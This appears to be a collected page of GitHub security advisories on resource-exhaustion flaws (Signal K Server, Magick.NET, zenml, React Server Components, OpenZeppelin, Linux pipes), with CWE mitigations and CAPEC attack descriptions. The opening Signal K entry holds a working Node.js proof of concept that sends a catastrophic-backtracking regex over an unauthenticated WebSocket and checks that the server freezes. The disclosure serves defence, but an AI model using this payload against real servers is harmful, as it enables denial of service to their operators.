res.on(\u0027data\u0027, chunk =\u003e { size += chunk.length; });\n res.on(\u0027end\u0027, () =\u003e {\n const latency = Date.now() - startTime;\n console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);\n });\n });\n\n req.on(\u0027error\u0027, (err) =\u003e {\n console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);\n });\n\n // Timeout if the event loop is blocked\n req.setTimeout(2000, () =\u003e {\n console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);\n req.destroy();\n });\n}\n\n// Start polling every 1 second\nconsole.log(\u0027[+] Starting baseline HTTP polling...\u0027);\nconst pollInterval = setInterval(checkServerStatus, 1000);\n\n// Wait a few seconds to establish a baseline, then launch the ReDoS\nsetTimeout(() =\u003e {\n console.log(`\\n[!] Initiating WebSocket connection to launch ReDoS attack...`);\n const ws = new WebSocket(WS_URL);\n\n ws.on(\u0027open\u0027, () =\u003e {\n console.log(\u0027[+] WebSocket Connected! Sending catastrophic ReDoS payload...\u0027);\n \n // This regex exploits the unescaped Regex metacharacters in context matcher.\n // It forms: `^vessels\\.([a-z0-9:-]+)+!$`\n // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), \n // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations \n // because it fails to find the \u0027!\u0027 at the end. This reliably freezes V8.\n const pocPayload = {\n context: \"vessels.([a-z0-9:-]+)+!\",\n announceNewPaths: true,\n subscribe: [{ path: \"*\" }]\n };\n\n ws.send(JSON.stringify(pocPayload));\n console.log(\u0027[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\\n\u0027);\n });\n\n ws.on(\u0027error\u0027, (err) =\u003e {\n console.error(`[-] WebSocket Error: ${err.message}`);\n });\n\n}, 3500);\n\n// Automatically shut down the test after 15 seconds\nsetTimeout(() =\u003e {\n console.log(`\\n[+] Test complete. Stopping pollers.`);\n clearInterval(pollInterval);\n process.exit(0);\n}, 15000);\n```\n\u003cimg width=\"1003\" height=\"524\" alt=\"Screenshot 2026-03-29 101918\" src=\"https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039\" /\u003e\n\n## Impact\n\nThis vulnerability achieves a complete **Denial of Service (DoS)** against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop. \n\n\u003cimg width=\"999\" height=\"153\" alt=\"Screenshot 2026-03-29 101820\" src=\"https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0\" /\u003e",
"id": "GHSA-7gcj-phff-2884",
"modified": "2026-04-21T17:17:00Z",
"published": "2026-04-21T17:17:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39320"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/pull/2568"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths"
}
GHSA-7GG8-QQX7-92G5
Vulnerability from github – Published: 2026-05-18 20:37 – Updated: 2026-06-11 14:05Due to a missing check in the MIFF decoder a crafted file could cause an infinite loop resulting in CPU exhaustion.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
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"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
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},
{
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],
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]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
},
"ranges": [
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"events": [
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"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
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]
},
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"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-x64"
},
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]
},
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"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
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},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
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],
"type": "ECOSYSTEM"
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]
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"name": "Magick.NET-Q16-arm64"
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],
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},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
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"fixed": "14.13.1"
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],
"type": "ECOSYSTEM"
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},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-arm64"
},
"ranges": [
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"events": [
{
"introduced": "0"
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{
"fixed": "14.13.1"
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],
"type": "ECOSYSTEM"
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]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-x64"
},
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],
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},
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"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-arm64"
},
"ranges": [
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"introduced": "0"
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"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
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},
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"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x64"
},
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},
{
"fixed": "14.13.1"
}
],
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},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46522"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:37:00Z",
"nvd_published_at": "2026-06-10T22:16:59Z",
"severity": "HIGH"
},
"details": "Due to a missing check in the MIFF decoder a crafted file could cause an infinite loop resulting in CPU exhaustion.",
"id": "GHSA-7gg8-qqx7-92g5",
"modified": "2026-06-11T14:05:00Z",
"published": "2026-05-18T20:37:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46522"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick: Infinite Loop in the MIFF decoder can lead to CPU exhaustion"
}
GHSA-7GJR-HCC3-XFR4
Vulnerability from github – Published: 2024-06-24 09:30 – Updated: 2024-06-24 21:28A denial of service (DoS) vulnerability exists in zenml-io/zenml version 0.56.3 due to improper handling of line feed (\n) characters in component names. When a low-privileged user adds a component through the API endpoint api/v1/workspaces/default/components with a name containing a \n character, it leads to uncontrolled resource consumption. This vulnerability results in the inability of users to add new components in certain categories (e.g., 'Image Builder') and to register new stacks through the UI, thereby degrading the user experience and potentially rendering the ZenML Dashboard unusable. The issue does not affect component addition through the Web UI, as \n characters are properly escaped in that context. The vulnerability was tested on ZenML running in Docker, and it was observed in both Firefox and Chrome browsers.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "zenml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.57.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-4460"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-24T21:28:27Z",
"nvd_published_at": "2024-06-24T07:15:15Z",
"severity": "MODERATE"
},
"details": "A denial of service (DoS) vulnerability exists in zenml-io/zenml version 0.56.3 due to improper handling of line feed (`\\n`) characters in component names. When a low-privileged user adds a component through the API endpoint `api/v1/workspaces/default/components` with a name containing a `\\n` character, it leads to uncontrolled resource consumption. This vulnerability results in the inability of users to add new components in certain categories (e.g., \u0027Image Builder\u0027) and to register new stacks through the UI, thereby degrading the user experience and potentially rendering the ZenML Dashboard unusable. The issue does not affect component addition through the Web UI, as `\\n` characters are properly escaped in that context. The vulnerability was tested on ZenML running in Docker, and it was observed in both Firefox and Chrome browsers.",
"id": "GHSA-7gjr-hcc3-xfr4",
"modified": "2024-06-24T21:28:27Z",
"published": "2024-06-24T09:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4460"
},
{
"type": "WEB",
"url": "https://github.com/zenml-io/zenml/commit/164cc09032060bbfc17e9dbd62c13efd5ff5771b"
},
{
"type": "PACKAGE",
"url": "https://github.com/zenml-io/zenml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/a387c935-b970-44d7-bddc-71c1c90aa2de"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Improper line feed handling in zenml"
}
GHSA-7GMR-MQ3H-M5H9
Vulnerability from github – Published: 2025-12-12 16:32 – Updated: 2025-12-12 16:32Impact
It was found that the fix to address CVE-2025-55184 in React Server Components was incomplete and does not prevent a denial of service attack in a specific case.
We recommend updating immediately.
The vulnerability exists in versions 19.0.2, 19.1.3, and 19.2.2 of:
These issues are present in the patches published on December 11th, 2025.
Patches
Fixes were back ported to versions 19.0.3, 19.1.4, and 19.2.3.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "react-server-dom-parcel"
},
"ranges": [
{
"events": [
{
"introduced": "19.0.2"
},
{
"fixed": "19.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-server-dom-parcel"
},
"ranges": [
{
"events": [
{
"introduced": "19.1.3"
},
{
"fixed": "19.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-server-dom-parcel"
},
"ranges": [
{
"events": [
{
"introduced": "19.2.2"
},
{
"fixed": "19.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-server-dom-turbopack"
},
"ranges": [
{
"events": [
{
"introduced": "19.0.2"
},
{
"fixed": "19.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-server-dom-turbopack"
},
"ranges": [
{
"events": [
{
"introduced": "19.1.3"
},
{
"fixed": "19.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-server-dom-turbopack"
},
"ranges": [
{
"events": [
{
"introduced": "19.2.2"
},
{
"fixed": "19.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-server-dom-webpack"
},
"ranges": [
{
"events": [
{
"introduced": "19.0.2"
},
{
"fixed": "19.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-server-dom-webpack"
},
"ranges": [
{
"events": [
{
"introduced": "19.1.3"
},
{
"fixed": "19.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-server-dom-webpack"
},
"ranges": [
{
"events": [
{
"introduced": "19.2.2"
},
{
"fixed": "19.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67779"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-12T16:32:43Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\nIt was found that the fix to address [CVE-2025-55184](https://github.com/facebook/react/security/advisories/GHSA-2m3v-v2m8-q956) in React Server Components was incomplete and does not prevent a denial of service attack in a specific case.\n\nWe recommend updating immediately.\n\nThe vulnerability exists in versions 19.0.2, 19.1.3, and 19.2.2 of:\n\n- [react-server-dom-webpack](https://www.npmjs.com/package/react-server-dom-webpack)\n- [react-server-dom-parcel](https://www.npmjs.com/package/react-server-dom-parcel)\n- [react-server-dom-turbopack](https://www.npmjs.com/package/react-server-dom-turbopack?activeTab=readme)\n\nThese issues are present in the patches published on December 11th, 2025.\n\n## Patches\n\nFixes were back ported to versions 19.0.3, 19.1.4, and 19.2.3. \n\nIf you are using any of the above packages please upgrade to any of the fixed versions immediately.\n\nIf your app\u2019s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.\n\n## References\n\nSee the [blog post](https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components) for more information and upgrade instructions.",
"id": "GHSA-7gmr-mq3h-m5h9",
"modified": "2025-12-12T16:32:43Z",
"published": "2025-12-12T16:32:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facebook/react/security/advisories/GHSA-2m3v-v2m8-q956"
},
{
"type": "WEB",
"url": "https://github.com/facebook/react/security/advisories/GHSA-7gmr-mq3h-m5h9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67779"
},
{
"type": "PACKAGE",
"url": "https://github.com/facebook/react"
},
{
"type": "WEB",
"url": "https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service Vulnerability in React Server Components"
}
GHSA-7GRF-83VW-6F5X
Vulnerability from github – Published: 2022-08-14 00:23 – Updated: 2022-08-14 00:23Impact
The target contract of an EIP-165 supportsInterface query can cause unbounded gas consumption by returning a lot of data, while it is generally assumed that this operation has a bounded cost.
Patches
The issue has been fixed in v4.7.2.
References
https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3587
For more information
If you have any questions or comments about this advisory, or need assistance deploying a fix, email us at security@openzeppelin.com.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/contracts"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "4.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "openzeppelin-solidity"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"last_affected": "4.6.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@openzeppelin/contracts-upgradeable"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "4.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "openzeppelin-eth"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"last_affected": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-35915"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-14T00:23:34Z",
"nvd_published_at": "2022-08-01T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe target contract of an EIP-165 `supportsInterface` query can cause unbounded gas consumption by returning a lot of data, while it is generally assumed that this operation has a bounded cost.\n\n### Patches\n\nThe issue has been fixed in v4.7.2.\n\n### References\n\nhttps://github.com/OpenZeppelin/openzeppelin-contracts/pull/3587\n\n### For more information\n\nIf you have any questions or comments about this advisory, or need assistance deploying a fix, email us at [security@openzeppelin.com](mailto:security@openzeppelin.com).",
"id": "GHSA-7grf-83vw-6f5x",
"modified": "2022-08-14T00:23:34Z",
"published": "2022-08-14T00:23:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-7grf-83vw-6f5x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35915"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3587"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/releases/tag/v4.7.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenZeppelin Contracts ERC165Checker unbounded gas consumption"
}
GHSA-7GXW-6Q7R-Q63R
Vulnerability from github – Published: 2024-05-17 15:31 – Updated: 2024-07-03 18:42In the Linux kernel, the following vulnerability has been resolved:
pipe: wakeup wr_wait after setting max_usage
Commit c73be61cede5 ("pipe: Add general notification queue support") a regression was introduced that would lock up resized pipes under certain conditions. See the reproducer in [1].
The commit resizing the pipe ring size was moved to a different function, doing that moved the wakeup for pipe->wr_wait before actually raising pipe->max_usage. If a pipe was full before the resize occured it would result in the wakeup never actually triggering pipe_write.
Set @max_usage and @nr_accounted before waking writers if this isn't a watch queue.
[Christian Brauner brauner@kernel.org: rewrite to account for watch queues]
{
"affected": [],
"aliases": [
"CVE-2023-52672"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-17T14:15:10Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\npipe: wakeup wr_wait after setting max_usage\n\nCommit c73be61cede5 (\"pipe: Add general notification queue support\") a\nregression was introduced that would lock up resized pipes under certain\nconditions. See the reproducer in [1].\n\nThe commit resizing the pipe ring size was moved to a different\nfunction, doing that moved the wakeup for pipe-\u003ewr_wait before actually\nraising pipe-\u003emax_usage. If a pipe was full before the resize occured it\nwould result in the wakeup never actually triggering pipe_write.\n\nSet @max_usage and @nr_accounted before waking writers if this isn\u0027t a\nwatch queue.\n\n[Christian Brauner \u003cbrauner@kernel.org\u003e: rewrite to account for watch queues]",
"id": "GHSA-7gxw-6q7r-q63r",
"modified": "2024-07-03T18:42:22Z",
"published": "2024-05-17T15:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52672"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/162ae0e78bdabf84ef10c1293c4ed7865cb7d3c8"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3efbd114b91525bb095b8ae046382197d92126b9"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/68e51bdb1194f11d3452525b99c98aff6f837b24"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6fb70694f8d1ac34e45246b0ac988f025e1e5b55"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b87a1229d8668fbc78ebd9ca0fc797a76001c60f"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e95aada4cb93d42e25c30a0ef9eb2923d9711d4a"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.